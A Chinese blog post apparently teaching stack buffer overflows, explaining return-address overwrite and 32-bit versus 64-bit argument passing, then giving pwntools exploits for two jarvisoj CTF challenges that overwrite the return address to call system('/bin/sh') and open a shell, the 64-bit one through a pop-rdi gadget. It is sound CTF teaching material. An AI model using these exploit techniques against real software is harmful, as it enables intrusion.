缓冲区溢出--栈溢出

隔了好久不更,今儿就把搞懂的32位下和64位下的栈溢出漏洞分享一下咯,太菜,求大佬放过。

Ⅰ.预热

搞懂栈溢出前提得把函数调用的时候栈内的变化和操作顺序,esp和ebp两个寄存器中指针的变化。这两个方面可参照前面这篇文章

Ⅱ.原理

①.简介

栈溢出,顾名思义,就是把栈给搞炸,通过覆盖的方式把需要利用的地方进行修改,从而达到攻击的效果。

②.细说

借用一下前面的图和例子,main函数在调用func_A函数的时候会主动压入返回地址,这个返回地址是为了让func_A执行结束之后能找到回家的路(也就是回到母函数内执行。)然后就是funcA局部变量入栈,最后跳转到代码区进行执行指令了。func_B被调用func_A也重复了main函数的工作,这里就不在多说。

那么在func_B执行的时候,我们计算好局部变量(后面简称buf)的大小,假设为0x16这么大,那么就可以用0x16的任意数字或字母进行填充,这样这个盒子就被填满了,

另外别忘了,现在func_B现在在栈里打头阵的,所以esp和ebp分别在栈帧上方和局部变量下方,那么ebp也需要被填充,这里要注意在32bit下是4字节,而在64bit下就是8字节了。

同样是任意字符填充,再往下就是返回地址了,关键地方,然后我们想要调用的函数地址get到之后将原来的返回地址已覆盖就完成漏洞利用了。

③.传参

32bit:参数是直接存放在栈中的。

64bit:
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 :
rdi, rsi, rdx, rcx, r8, r9

如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
x64的栈帧在返回地址额下面

给一个看到的链接,关于64bit的传参问题

Ⅲ.乘热打铁。

来两道例题练练好了。这里是出处

①.32bit:

主函数,里面有一个函数调用。

跟进来,定义了数组大小0x88(ebp-88h看出),read读入数据,那就可以进行利用。

查看一下导入表,程序已经给绑定好了system函数,和/bin/sh这个command,那么我们直接把地址拿来用就好了。

贴上简单的exp:(junk和ebp做到覆盖buf数组,然后覆盖返回地址为system的调用地址,最后给函数传入指令参数,完成利用。这里的p32是为了让系统能够接收而对地址进行了打包,下面例子中p64也是同样的效果。p.send是向服务器发送数据,最后一句是与服务器交互。)

from pwn import *
#buf=0x88
#p = process('./level')
p = remote('pwn2.jarvisoj.com',9878)

systemaddr=0x08048320
shelladdr=0x0804A024
junk='a'*0x88
ebp='aaaa'
payload=junk+ebp+p32(systemaddr)+p32(4)+p32(shelladdr)
p.send(payload)
p.interactive()

②.64bit:

和上面一题是孪生兄弟,只是一个32bit,一个64bit下的。程序一模一样,所以思路也就类似,如图。

直接给出exp:(ELF是加载level2_x64程序。下面一句则可以直接获得system的调用位置,前面提到,64bit下参数是提前存放在寄存器中,然后函数需要参数时候,由寄存器传参。因为我们只需要传入command参数,所以我们只需要知道rdi寄存器所在位置。最后步骤就是,0x80(buf)+8(ebp)+到寄存器地址+传入参数+system函数调用)

from pwn import *
#buf = 0x80
#p=process('./level2_x64')
p=remote('pwn2.jarvisoj.com',9882)

level2=ELF('./level2_x64')
systemaddr=level2.plt['system']
print systemaddr

shelladdr=0x0000000000600a90
rdireaddr=0x00000000004006b3

payload='a'*136+p64(rdireaddr)+p64(shelladdr)+p64(systemaddr)
p.send(payload)
p.interactive()
Contents
  1. 1. Ⅰ.预热
  2. 2. Ⅱ.原理
    1. 2.1. ①.简介
    2. 2.2. ②.细说
    3. 2.3. ③.传参
  3. 3. Ⅲ.乘热打铁。
    1. 3.1. ①.32bit:
    2. 3.2. ②.64bit:
|